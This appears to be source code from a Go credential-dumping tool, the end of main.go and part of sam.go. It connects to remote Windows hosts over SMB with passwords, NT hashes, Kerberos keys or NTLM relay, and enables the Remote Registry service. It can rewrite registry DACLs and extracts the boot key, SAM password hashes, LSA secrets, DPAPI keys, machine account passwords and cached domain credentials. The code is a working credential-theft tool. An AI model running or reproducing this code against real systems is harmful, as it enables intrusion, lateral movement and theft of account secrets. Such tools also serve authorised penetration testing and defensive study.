865 | golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 866 | log.SetFlags(golog.LstdFlags | golog.Lshortfile) 867 | log.SetLogLevel(golog.LevelInfo) 868 | } else { 869 | golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 870 | golog.Set("github.com/jfjallid/go-smb/spnego", "spnego", golog.LevelNotice, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 871 | golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 872 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 873 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 874 | golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msscmr", "msscmr", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput) 875 | golog.Set("github.com/jfjallid/go-smb/krb5ssp", "krb5ssp", golog.LevelNotice, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput) 876 | } 877 | 878 | if version { 879 | fmt.Printf("Version: %s\n", release) 880 | bi, ok := rundebug.ReadBuildInfo() 881 | if !ok { 882 | log.Errorln("Failed to read build info to locate version imported modules") 883 | } 884 | for _, m := range bi.Deps { 885 | fmt.Printf("Package: %s, Version: %s\n", m.Path, m.Version) 886 | } 887 | return 888 | } 889 | 890 | if !sam && !lsaSecrets && !dcc2 { 891 | // If no individual target to dump is set, dump everything 892 | sam = true 893 | lsaSecrets = true 894 | dcc2 = true 895 | } 896 | 897 | if backupDacl && restoreDacl { 898 | log.Errorln("Can't specify both --backup-dacl and --restore-dacl at the same time.") 899 | flag.Usage() 900 | return 901 | } 902 | 903 | if backupDacl { 904 | daclBackupFile, err = os.OpenFile(backupFilename, os.O_RDWR|os.O_CREATE|os.O_EXCL, 0600) 905 | if err != nil { 906 | log.Errorf("Failed to create local file %s to store original DACLs before modification with error: %s\n", backupFilename, err) 907 | return 908 | } 909 | defer daclBackupFile.Close() 910 | } else if restoreDacl { 911 | daclBackupFile, err = os.Open(backupFilename) 912 | if err != nil { 913 | log.Errorf("Failed to open local file %s to read original DACLs before restoring the ACLs with error: %s\n", backupFilename, err) 914 | return 915 | } 916 | defer daclBackupFile.Close() 917 | } 918 | 919 | if outputFilename != "" { 920 | outputFile, err = os.OpenFile(outputFilename, os.O_RDWR|os.O_APPEND|os.O_CREATE, 0600) 921 | if err != nil { 922 | log.Errorf("Failed to open local file %s for writing results with error: %s\n", outputFilename, err) 923 | return 924 | } 925 | defer outputFile.Close() 926 | } 927 | 928 | // Validate format 929 | if isFlagSet("dns-host") { 930 | parts := strings.Split(dnsHost, ":") 931 | if len(parts) < 2 { 932 | if dnsHost != "" { 933 | dnsHost += ":53" 934 | parts = append(parts, "53") 935 | log.Infof("No port number specified for --dns-host so assuming port 53") 936 | } else { 937 | fmt.Println("Invalid --dns-host") 938 | flag.Usage() 939 | return 940 | } 941 | } 942 | ip := net.ParseIP(parts[0]) 943 | if ip == nil { 944 | fmt.Println("Invalid --dns-host. Not a valid ip host address") 945 | flag.Usage() 946 | return 947 | } 948 | p, err := strconv.ParseUint(parts[1], 10, 32) 949 | if err != nil { 950 | fmt.Printf("Invalid --dns-host. Failed to parse port: %s\n", err) 951 | return 952 | } 953 | if p < 1 { 954 | fmt.Println("Invalid --dns-host port number") 955 | flag.Usage() 956 | return 957 | } 958 | } 959 | 960 | if socksHost != "" && socksPort < 1 { 961 | fmt.Println("Invalid --socks-port") 962 | flag.Usage() 963 | return 964 | } 965 | 966 | share := "" 967 | var hashBytes []byte 968 | var aesKeyBytes []byte 969 | 970 | if host == "" && targetIP == "" { 971 | log.Errorln("Must specify a hostname or ip") 972 | flag.Usage() 973 | return 974 | } 975 | if host != "" && targetIP == "" { 976 | targetIP = host 977 | } else if host == "" && targetIP != "" { 978 | host = targetIP 979 | } 980 | 981 | if dialTimeout < time.Second { 982 | log.Errorln("Valid value for the timeout is >= 1 seconds") 983 | return 984 | } 985 | 986 | if hash != "" { 987 | hashBytes, err = hex.DecodeString(hash) 988 | if err != nil { 989 | fmt.Println("Failed to decode hash") 990 | log.Errorln(err) 991 | return 992 | } 993 | } 994 | 995 | if aesKey != "" { 996 | aesKeyBytes, err = hex.DecodeString(aesKey) 997 | if err != nil { 998 | fmt.Println("Failed to decode aesKey") 999 | log.Errorln(err) 1000 | return 1001 | } 1002 | if len(aesKeyBytes) != 16 && len(aesKeyBytes) != 32 { 1003 | fmt.Println("Invalid keysize of AES Key") 1004 | return 1005 | } 1006 | } 1007 | 1008 | if aesKey != "" && !kerberos { 1009 | fmt.Println("Must use Kerberos auth (-k) when using --aes-key") 1010 | flag.Usage() 1011 | } 1012 | 1013 | if noPass { 1014 | password = "" 1015 | hashBytes = nil 1016 | aesKeyBytes = nil 1017 | } else { 1018 | if (password == "") && (hashBytes == nil) && (aesKeyBytes == nil) { 1019 | fmt.Printf("Enter password: ") 1020 | passBytes, err := term.ReadPassword(int(os.Stdin.Fd())) 1021 | fmt.Println() 1022 | if err != nil { 1023 | log.Errorln(err) 1024 | return 1025 | } 1026 | password = string(passBytes) 1027 | } 1028 | } 1029 | 1030 | if dnsHost != "" { 1031 | protocol := "udp" 1032 | if dnsTCP { 1033 | protocol = "tcp" 1034 | } 1035 | net.DefaultResolver = &net.Resolver{ 1036 | PreferGo: true, 1037 | Dial: func(ctx context.Context, network, address string) (net.Conn, error) { 1038 | d := net.Dialer{ 1039 | Timeout: dialTimeout, 1040 | } 1041 | return d.DialContext(ctx, protocol, dnsHost) 1042 | }, 1043 | } 1044 | } 1045 | 1046 | smbOptions := smb.Options{ 1047 | Host: targetIP, 1048 | Port: port, 1049 | DisableEncryption: noEnc, 1050 | ForceSMB2: forceSMB2, 1051 | } 1052 | 1053 | if socksHost != "" { 1054 | dialSocksProxy, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%d", socksHost, socksPort), nil, proxy.Direct) 1055 | if err != nil { 1056 | log.Errorln(err) 1057 | return 1058 | } 1059 | smbOptions.ProxyDialer = dialSocksProxy 1060 | } 1061 | 1062 | if kerberos { 1063 | smbOptions.Initiator = &spnego.KRB5Initiator{ 1064 | User: username, 1065 | Password: password, 1066 | Domain: domain, 1067 | Hash: hashBytes, 1068 | AESKey: aesKeyBytes, 1069 | SPN: "cifs/" + host, 1070 | DCIP: dcIP, 1071 | DialTimout: dialTimeout, 1072 | ProxyDialer: smbOptions.ProxyDialer, 1073 | DnsHost: dnsHost, 1074 | DnsTCP: dnsTCP, 1075 | } 1076 | } else { 1077 | smbOptions.Initiator = &spnego.NTLMInitiator{ 1078 | User: username, 1079 | Password: password, 1080 | Hash: hashBytes, 1081 | Domain: domain, 1082 | LocalUser: localUser, 1083 | } 1084 | } 1085 | 1086 | smbOptions.DialTimeout = dialTimeout 1087 | var session *smb.Connection 1088 | 1089 | if relay { 1090 | smbOptions.RelayPort = relayPort 1091 | session, err = smb.NewRelayConnection(smbOptions) 1092 | } else { 1093 | session, err = smb.NewConnection(smbOptions) 1094 | } 1095 | if err != nil { 1096 | log.Criticalln(err) 1097 | return 1098 | } 1099 | defer session.Close() 1100 | 1101 | if session.IsSigningRequired() { 1102 | log.Noticeln("[-] Signing is required") 1103 | } else { 1104 | log.Noticeln("[+] Signing is NOT required") 1105 | } 1106 | 1107 | if session.IsAuthenticated() { 1108 | log.Noticef("[+] Login successful as %s\n", session.GetAuthUsername()) 1109 | } else { 1110 | log.Noticeln("[-] Login failed") 1111 | return 1112 | } 1113 | 1114 | // Connect to IPC$ share 1115 | share = "IPC$" 1116 | err = session.TreeConnect(share) 1117 | if err != nil { 1118 | log.Errorln(err) 1119 | return 1120 | } 1121 | defer session.TreeDisconnect(share) 1122 | 1123 | // Check if RemoteRegistry is running, and if not, enable it 1124 | registryStarted, registryDisabled, err := startRemoteRegistry(session, share) 1125 | if err != nil { 1126 | log.Errorln(err) 1127 | return 1128 | } 1129 | 1130 | defer func() { 1131 | if !registryStarted { 1132 | err = stopRemoteRegistry(session, share, registryDisabled) 1133 | if err != nil { 1134 | log.Errorf("Failed to restore status of RemoteRegistry service with error: %s\n", err) 1135 | } 1136 | } 1137 | }() 1138 | 1139 | // Open connection to Windows Remote Registry pipe 1140 | f, err := session.OpenFile(share, msrrp.MSRRPPipe) 1141 | if err != nil { 1142 | if err == smb.StatusMap[smb.StatusPipeNotAvailable] { 1143 | // RemoteRegistry is not running but by requesting the pipe name it might be automatically started! 1144 | time.Sleep(time.Second * 2) 1145 | f, err = session.OpenFile(share, msrrp.MSRRPPipe) 1146 | if err != nil { 1147 | log.Errorln(err) 1148 | return 1149 | } 1150 | } else { 1151 | log.Errorln(err) 1152 | return 1153 | } 1154 | } 1155 | defer f.CloseFile() 1156 | 1157 | // Bind to Windows Remote Registry service 1158 | bind, err := dcerpc.Bind(f, msrrp.MSRRPUuid, msrrp.MSRRPMajorVersion, msrrp.MSRRPMinorVersion, msrrp.NDRUuid) 1159 | if err != nil { 1160 | log.Errorln("Failed to bind to service") 1161 | log.Errorln(err) 1162 | return 1163 | } 1164 | 1165 | // RPCCon is a wrapper for an RPC Bind that implements the Remote Registry functions 1166 | rpccon := msrrp.NewRPCCon(bind) 1167 | 1168 | hKey, err := rpccon.OpenBaseKey(msrrp.HKEYLocalMachine) 1169 | if err != nil { 1170 | log.Errorln(err) 1171 | return 1172 | } 1173 | defer rpccon.CloseKeyHandle(hKey) 1174 | 1175 | if restoreDacl { 1176 | restoreDaclFromBackup(rpccon, hKey) 1177 | return 1178 | } 1179 | 1180 | if dump { 1181 | err = dumpOffline(session, rpccon, hKey, "C:/windows/temp") 1182 | if err != nil { 1183 | log.Errorln(err) 1184 | return 1185 | } 1186 | } else { 1187 | defer func() { 1188 | // If calling defer on tryRollbackChanges directly, all the arguments 1189 | // will be locked to their current values at time of calling defer 1190 | tryRollbackChanges(rpccon, hKey, registryKeysModified) 1191 | }() 1192 | 1193 | if sam { 1194 | err = dumpSAM(rpccon, hKey, modifyDacl) 1195 | if err != nil { 1196 | log.Errorln(err) 1197 | return 1198 | } 1199 | } 1200 | if lsaSecrets { 1201 | err = dumpLSASecrets(rpccon, hKey, modifyDacl) 1202 | if err != nil { 1203 | log.Errorln(err) 1204 | return 1205 | } 1206 | } 1207 | if dcc2 { 1208 | err = dumpDCC2Cache(rpccon, hKey, modifyDacl) 1209 | if err != nil { 1210 | log.Errorln(err) 1211 | return 1212 | } 1213 | } 1214 | 1215 | // Print results 1216 | var out io.Writer 1217 | if outputFile != nil { 1218 | out = outputFile 1219 | } else { 1220 | out = os.Stdout 1221 | } 1222 | //TODO Write name of host? 1223 | if len(samSecretList) > 0 { 1224 | fmt.Fprintln(out, "[*] Dumping local SAM hashes") 1225 | for i := range samSecretList { 1226 | samSecretList[i].printSecret(out) 1227 | } 1228 | } 1229 | if len(lsaSecretList) > 0 { 1230 | fmt.Fprintln(out, "[*] Dumping LSA Secrets") 1231 | for i := range lsaSecretList { 1232 | lsaSecretList[i].printSecret(out) 1233 | } 1234 | } 1235 | if len(dcc2SecretList) > 0 { 1236 | fmt.Fprintln(out, "[*] Dumping cached domain credentials (domain/username:hash)") 1237 | for i := range dcc2SecretList { 1238 | dcc2SecretList[i].printSecret(out) 1239 | } 1240 | } 1241 | } 1242 | } 1243 | -------------------------------------------------------------------------------- /sam.go: -------------------------------------------------------------------------------- 1 | // MIT License 2 | // 3 | // # Copyright (c) 2023 Jimmy Fjällid 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | package main 23 | 24 | import ( 25 | "bytes" 26 | "crypto/aes" 27 | "crypto/cipher" 28 | "crypto/md5" 29 | "crypto/rc4" 30 | "encoding/binary" 31 | "encoding/hex" 32 | "fmt" 33 | "strconv" 34 | "strings" 35 | 36 | "github.com/jfjallid/go-smb/smb/dcerpc/msrrp" 37 | "github.com/jfjallid/go-smb/smb/encoder" 38 | "golang.org/x/crypto/md4" 39 | ) 40 | 41 | var ( 42 | s1 = []byte("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00") 43 | s2 = []byte("0123456789012345678901234567890123456789\x00") 44 | s3 = []byte("NTPASSWORD\x00") 45 | BootKey []byte 46 | LSAKey []byte 47 | NLKMKey []byte 48 | VistaStyle bool 49 | ) 50 | 51 | type UserCreds struct { 52 | Username string 53 | Data []byte 54 | IV []byte 55 | RID uint32 56 | AES bool 57 | } 58 | 59 | type printableLSASecret struct { 60 | secretType string 61 | secrets []string 62 | extraSecret string 63 | } 64 | 65 | // https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 66 | type lsa_secret struct { 67 | Version uint32 68 | EncKeyId string // 16 bytes 69 | EncAlgorithm uint32 70 | Flags uint32 71 | EncryptedData []byte 72 | } 73 | 74 | func (self *lsa_secret) unmarshal(data []byte) { 75 | self.Version = binary.LittleEndian.Uint32(data[:4]) 76 | self.EncKeyId = string(data[4:20]) 77 | self.EncAlgorithm = binary.LittleEndian.Uint32(data[20:24]) 78 | self.Flags = binary.LittleEndian.Uint32(data[24:28]) 79 | self.EncryptedData = data[28:] 80 | } 81 | 82 | type lsa_secret_blob struct { 83 | Length uint32 84 | Unknown [12]byte 85 | Secret []byte 86 | } 87 | 88 | func (self *lsa_secret_blob) unmarshal(data []byte) { 89 | self.Length = binary.LittleEndian.Uint32(data[:4]) 90 | copy(self.Unknown[:], data[4:16]) 91 | self.Secret = data[16 : 16+self.Length] 92 | } 93 | 94 | type dpapi_system struct { 95 | Version uint32 96 | MachineKey [20]byte 97 | UserKey [20]byte 98 | } 99 | 100 | func (self *dpapi_system) unmarshal(data []byte) { 101 | self.Version = binary.LittleEndian.Uint32(data[:4]) 102 | copy(self.MachineKey[:], data[4:24]) 103 | copy(self.UserKey[:], data[24:44]) 104 | } 105 | 106 | type sam_key_data_aes struct { 107 | Revision uint32 108 | Length uint32 109 | ChecksumLen uint32 110 | DataLen uint32 111 | Salt [16]byte 112 | Data [32]byte 113 | } 114 | 115 | type sam_key_data struct { 116 | Revision uint32 117 | Length uint32 118 | Salt [16]byte 119 | Key [16]byte 120 | Checksum [16]byte 121 | _ uint64 122 | } 123 | 124 | type domain_account_f struct { // 104 bytes of fixed length fields 125 | Revision uint16 126 | _ uint32 // Unknown 127 | _ uint16 // Unknown 128 | CreationTime uint64 129 | DomainModifiedAccount uint64 130 | MaxPasswordAge uint64 131 | MinPasswordAge uint64 132 | ForceLogoff uint64 133 | LockoutDuration uint64 134 | LockoutObservationWindow uint64 135 | ModifiedCountAtLastPromotion uint64 136 | NextRid uint32 137 | PasswordProperties uint32 138 | MinPasswordLength uint16 139 | PasswordHistoryLength uint16 140 | LockoutThreshold uint16 141 | _ uint16 // Unknown 142 | ServerState uint32 143 | ServerRole uint32 144 | UasCompatibilityRequired uint32 145 | _ uint32 // Unknown 146 | Data []byte 147 | } 148 | 149 | func (self *domain_account_f) unmarshal(data []byte) (err error) { 150 | if len(data) < 104 { 151 | err = fmt.Errorf("Not enough data to unmarshal a DOMAIN_ACCOUNT_F") 152 | log.Errorln(err) 153 | return 154 | } 155 | 156 | self.Revision = binary.LittleEndian.Uint16(data[:2]) 157 | self.CreationTime = binary.LittleEndian.Uint64(data[8:16]) 158 | self.DomainModifiedAccount = binary.LittleEndian.Uint64(data[16:24]) 159 | self.MaxPasswordAge = binary.LittleEndian.Uint64(data[24:32]) 160 | self.MinPasswordAge = binary.LittleEndian.Uint64(data[32:40]) 161 | self.ForceLogoff = binary.LittleEndian.Uint64(data[40:48]) 162 | self.LockoutDuration = binary.LittleEndian.Uint64(data[48:56]) 163 | self.LockoutObservationWindow = binary.LittleEndian.Uint64(data[56:64]) 164 | self.ModifiedCountAtLastPromotion = binary.LittleEndian.Uint64(data[64:72]) 165 | self.NextRid = binary.LittleEndian.Uint32(data[72:76]) 166 | self.PasswordProperties = binary.LittleEndian.Uint32(data[76:80]) 167 | self.MinPasswordLength = binary.LittleEndian.Uint16(data[80:82]) 168 | self.PasswordHistoryLength = binary.LittleEndian.Uint16(data[82:84]) 169 | self.LockoutThreshold = binary.LittleEndian.Uint16(data[84:86]) 170 | self.ServerState = binary.LittleEndian.Uint32(data[88:92]) 171 | self.ServerRole = binary.LittleEndian.Uint32(data[92:96]) 172 | self.UasCompatibilityRequired = binary.LittleEndian.Uint32(data[96:100]) 173 | if len(data) > 104 { 174 | self.Data = make([]byte, len(data[104:])) 175 | copy(self.Data, data[104:]) 176 | } 177 | return 178 | } 179 | 180 | type nl_record struct { 181 | UserLength uint16 182 | DomainNameLength uint16 183 | EffectiveNameLength uint16 184 | FullNameLength uint16 185 | LogonScriptName uint16 186 | ProfilePathLength uint16 187 | HomeDirectoryLength uint16 188 | HomeDirectoryDriveLength uint16 189 | UserId uint32 190 | PrimaryGroupId uint32 191 | GroupCount uint32 192 | logonDomainNameLength uint16 193 | Unk0 uint16 194 | LastWrite uint64 195 | Revision uint32 196 | SidCount uint32 197 | Flags uint32 198 | Unk1 uint32 199 | LogonPackageLength uint32 200 | DnsDomainNameLength uint16 201 | UPN uint16 202 | IV [16]byte 203 | CH [16]byte 204 | EncryptedData []byte 205 | } 206 | 207 | func (self *nl_record) unmarshal(data []byte) (err error) { 208 | if len(data) < 96 { 209 | err = fmt.Errorf("Not enough data to unmarshal an NL_RECORD") 210 | log.Errorln(err) 211 | return 212 | } 213 | 214 | self.UserLength = binary.LittleEndian.Uint16(data[:2]) 215 | self.DomainNameLength = binary.LittleEndian.Uint16(data[2:4]) 216 | self.EffectiveNameLength = binary.LittleEndian.Uint16(data[4:6]) 217 | self.FullNameLength = binary.LittleEndian.Uint16(data[6:8]) 218 | self.LogonScriptName = binary.LittleEndian.Uint16(data[8:10]) 219 | self.ProfilePathLength = binary.LittleEndian.Uint16(data[10:12]) 220 | self.HomeDirectoryLength = binary.LittleEndian.Uint16(data[12:14]) 221 | self.HomeDirectoryDriveLength = binary.LittleEndian.Uint16(data[14:16]) 222 | self.UserId = binary.LittleEndian.Uint32(data[16:20]) 223 | self.PrimaryGroupId = binary.LittleEndian.Uint32(data[20:24]) 224 | self.GroupCount = binary.LittleEndian.Uint32(data[24:28]) 225 | self.logonDomainNameLength = binary.LittleEndian.Uint16(data[28:30]) 226 | self.Unk0 = binary.LittleEndian.Uint16(data[30:32]) 227 | self.LastWrite = binary.LittleEndian.Uint64(data[32:40]) 228 | self.Revision = binary.LittleEndian.Uint32(data[40:44]) 229 | self.SidCount = binary.LittleEndian.Uint32(data[44:48]) 230 | self.Flags = binary.LittleEndian.Uint32(data[48:52]) 231 | self.Unk1 = binary.LittleEndian.Uint32(data[52:56]) 232 | self.LogonPackageLength = binary.LittleEndian.Uint32(data[56:60]) 233 | self.DnsDomainNameLength = binary.LittleEndian.Uint16(data[60:62]) 234 | self.UPN = binary.LittleEndian.Uint16(data[62:64]) 235 | copy(self.IV[:], data[64:80]) 236 | copy(self.CH[:], data[80:96]) 237 | self.EncryptedData = data[96:] 238 | return 239 | } 240 | 241 | func pad64(data uint64) uint64 { 242 | if (data & 0x3) > 0 { 243 | return data + (data & 0x3) 244 | } 245 | return data 246 | } 247 | 248 | func getServiceUser(rpccon *msrrp.RPCCon, base []byte, name string) (result string, err error) { 249 | hSubKey, err := rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Services\`+name) 250 | if err != nil { 251 | log.Errorln(err) 252 | return 253 | } 254 | defer rpccon.CloseKeyHandle(hSubKey) 255 | return rpccon.QueryValueString(hSubKey, "ObjectName") 256 | } 257 | 258 | func parseSecret(rpccon *msrrp.RPCCon, base []byte, name string, secretItem []byte) (result *printableLSASecret, err error) { 259 | 260 | if len(secretItem) == 0 { 261 | log.Debugf("Discarding secret %s, NULL Data\n", name) 262 | return 263 | } 264 | if bytes.Compare(secretItem[:2], []byte{0, 0}) == 0 { 265 | log.Debugf("Discarding secret %s, all zeros\n", name) 266 | return 267 | } 268 | secret := "" 269 | extrasecret := "" 270 | upperName := strings.ToUpper(name) 271 | result = &printableLSASecret{} 272 | result.secretType = "[*] " + name 273 | if strings.HasPrefix(upperName, "_SC_") { 274 | secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 275 | if err2 != nil { 276 | err = err2 277 | log.Errorln(err) 278 | return 279 | } 280 | //Get service account name 281 | svcUser, err := getServiceUser(rpccon, base, name[4:]) // Skip initial _SC_ of the name 282 | if err != nil { 283 | log.Errorln(err) 284 | svcUser = "(unknown user)" 285 | } else { 286 | if strings.HasPrefix(svcUser, ".\\") { 287 | svcUser = svcUser[2:] 288 | } 289 | } 290 | secret = fmt.Sprintf("%s: %s", svcUser, secretDecoded) 291 | result.secrets = append(result.secrets, secret) 292 | //} else if strings.HasPrefix(upperName, "DEFAULTPASSWORD") { 293 | // secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 294 | // if err2 != nil { 295 | // err = err2 296 | // log.Errorln(err) 297 | // return 298 | // } 299 | // username, err := getDefaultLogonName() 300 | // if err != nil { 301 | // golog.Errorln(err) 302 | // } 303 | // if username == "" { 304 | // username = "(Unknown user)" 305 | // } 306 | 307 | // // Get default login name 308 | // secret = fmt.Sprintf("%s: %s", username, secretDecoded) 309 | // result.secrets = append(result.secrets, secret) 310 | } else if strings.HasPrefix(upperName, "ASPNET_WP_PASSWORD") { 311 | secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 312 | if err2 != nil { 313 | err = err2 314 | log.Errorln(err) 315 | return 316 | } 317 | secret = fmt.Sprintf("ASPNET: %s", secretDecoded) 318 | result.secrets = append(result.secrets, secret) 319 | } else if strings.HasPrefix(upperName, "DPAPI_SYSTEM") { 320 | dpapi := &dpapi_system{} 321 | dpapi.unmarshal(secretItem) 322 | secret = fmt.Sprintf("dpapi_machinekey: 0x%x", dpapi.MachineKey) 323 | secret2 := fmt.Sprintf("dpapi_userkey: 0x%x", dpapi.UserKey) 324 | result.secrets = append(result.secrets, secret) 325 | result.secrets = append(result.secrets, secret2) 326 | //log.Noticeln("DPAPI_SYSTEM secret") 327 | } else if strings.HasPrefix(upperName, "$MACHINE.ACC") { 328 | //log.Noticeln("Machine Account secret") 329 | h := md4.New() 330 | h.Write(secretItem) 331 | printname := "$MACHINE.ACC" 332 | secret = fmt.Sprintf("$MACHINE.ACC (NT Hash): %x", h.Sum(nil)) 333 | result.secrets = append(result.secrets, secret) 334 | // Calculate AES128 and AES256 keys from plaintext passwords 335 | hostname, domain, err := getHostnameAndDomain(rpccon, base) 336 | if err != nil { 337 | log.Errorln(err) 338 | // Skip calculation of AES Keys if request failed or if domain is empty 339 | } else if domain != "" { 340 | aes128Key, aes256Key, err := CalcMachineAESKeys(hostname, domain, secretItem) 341 | if err != nil { 342 | log.Errorln(err) 343 | } else { 344 | result.secrets = append(result.secrets, fmt.Sprintf("%s:AES_128_key:%x", printname, aes128Key)) 345 | result.secrets = append(result.secrets, fmt.Sprintf("%s:AES_256_key:%x", printname, aes256Key)) 346 | } 347 | } 348 | // Always print plaintext anyway since this may be needed for some popular usecases 349 | extrasecret = fmt.Sprintf("%s:plain_password_hex:%x", printname, secretItem) 350 | result.extraSecret = extrasecret 351 | } else if strings.HasPrefix(upperName, "NL$KM") { 352 | secret = fmt.Sprintf("NL$KM: 0x%x", secretItem[:16]) 353 | result.secrets = append(result.secrets, secret) 354 | } else if strings.HasPrefix(upperName, "CACHEDDEFAULTPASSWORD") { 355 | //TODO What is CachedDefaultPassword? How is it different from the registry keys under winlogon? 356 | // Default password for winlogon 357 | secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 358 | if err2 != nil { 359 | err = err2 360 | log.Errorln(err) 361 | return 362 | } 363 | log.Noticeln("Check for default username is not implemented yet") 364 | //username, err := getDefaultLogonName() 365 | //if err != nil { 366 | // log.Errorln(err) 367 | //} 368 | username := "" 369 | if username == "" { 370 | username = "(Unknown user)" 371 | } 372 | 373 | // Get default login name 374 | secret = fmt.Sprintf("%s: %s", username, secretDecoded) 375 | result.secrets = append(result.secrets, secret) 376 | } else { 377 | // Handle Security questions? 378 | log.Noticef("Empty or unhandled secret for %s: %x\n", name, secretItem) 379 | } 380 | return 381 | } 382 | 383 | func getBootKey(rpccon *msrrp.RPCCon, base []byte) (result []byte, err error) { 384 | // check if bootkey is already retrieved 385 | if len(BootKey) != 0 { 386 | return BootKey, nil 387 | } 388 | log.Debugln("Retrieving bootkey from registry") 389 | 390 | result = make([]byte, 16) 391 | var p []byte = []byte{0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7} 392 | scrambledKey := make([]byte, 0, 16) 393 | 394 | hSubKey, err := rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\JD`) 395 | if err != nil { 396 | log.Errorln(err) 397 | return 398 | } 399 | keyinfo, err := rpccon.QueryKeyInfo(hSubKey) 400 | if err != nil { 401 | log.Errorln(err) 402 | rpccon.CloseKeyHandle(hSubKey) 403 | return 404 | } 405 | rpccon.CloseKeyHandle(hSubKey) 406 | jd, err := hex.DecodeString(keyinfo.ClassName) 407 | if err != nil { 408 | log.Errorln(err) 409 | return 410 | } 411 | 412 | log.Debugf("KeyClass: %x\n", jd) 413 | scrambledKey = append(scrambledKey, jd...) 414 | 415 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\Skew1`) 416 | if err != nil { 417 | log.Errorln(err) 418 | return 419 | } 420 | keyinfo, err = rpccon.QueryKeyInfo(hSubKey) 421 | if err != nil { 422 | log.Errorln(err) 423 | rpccon.CloseKeyHandle(hSubKey) 424 | return 425 | } 426 | rpccon.CloseKeyHandle(hSubKey) 427 | skew1, err := hex.DecodeString(keyinfo.ClassName) 428 | if err != nil { 429 | log.Errorln(err) 430 | return 431 | } 432 | 433 | log.Debugf("KeyClass: %x\n", skew1) 434 | scrambledKey = append(scrambledKey, skew1...) 435 | 436 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\GBG`) 437 | if err != nil { 438 | log.Errorln(err) 439 | return 440 | } 441 | keyinfo, err = rpccon.QueryKeyInfo(hSubKey) 442 | if err != nil { 443 | log.Errorln(err) 444 | rpccon.CloseKeyHandle(hSubKey) 445 | return 446 | } 447 | rpccon.CloseKeyHandle(hSubKey) 448 | gbg, err := hex.DecodeString(keyinfo.ClassName) 449 | if err != nil { 450 | log.Errorln(err) 451 | return 452 | } 453 | 454 | log.Debugf("KeyClass: %x\n", gbg) 455 | scrambledKey = append(scrambledKey, gbg...) 456 | 457 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\Data`) 458 | if err != nil { 459 | log.Errorln(err) 460 | return 461 | } 462 | keyinfo, err = rpccon.QueryKeyInfo(hSubKey) 463 | if err != nil { 464 | log.Errorln(err) 465 | rpccon.CloseKeyHandle(hSubKey) 466 | return 467 | } 468 | rpccon.CloseKeyHandle(hSubKey) 469 | data, err := hex.DecodeString(keyinfo.ClassName) 470 | if err != nil { 471 | log.Errorln(err) 472 | return 473 | } 474 | 475 | log.Debugf("KeyClass: %x\n", data) 476 | scrambledKey = append(scrambledKey, data...) 477 | 478 | log.Debugf("ScrambledKey: %x\n", scrambledKey) 479 | for i := 0; i < len(scrambledKey); i++ { 480 | result[i] = scrambledKey[p[i]] 481 | } 482 | BootKey = make([]byte, 16) 483 | copy(BootKey, result) 484 | log.Infof("BootKey: 0x%x\n", BootKey) 485 | 486 | return 487 | } 488 | 489 | func getSysKey(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (sysKey []byte, err error) { 490 | var tmpSysKey []byte 491 | _, err = getBootKey(rpccon, base) 492 | if err != nil { 493 | return 494 | } 495 | var hSubKey []byte 496 | if modifyDacl { 497 | hSubKey, err = rpccon.OpenSubKey(base, `SAM\SAM\Domains\Account`) 498 | } else { 499 | hSubKey, err = rpccon.OpenSubKeyExt(base, `SAM\SAM\Domains\Account`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 500 | } 501 | if err != nil { 502 | log.Errorln(err) 503 | return 504 | } 505 | 506 | fBytes, _, err := rpccon.QueryValue2(hSubKey, 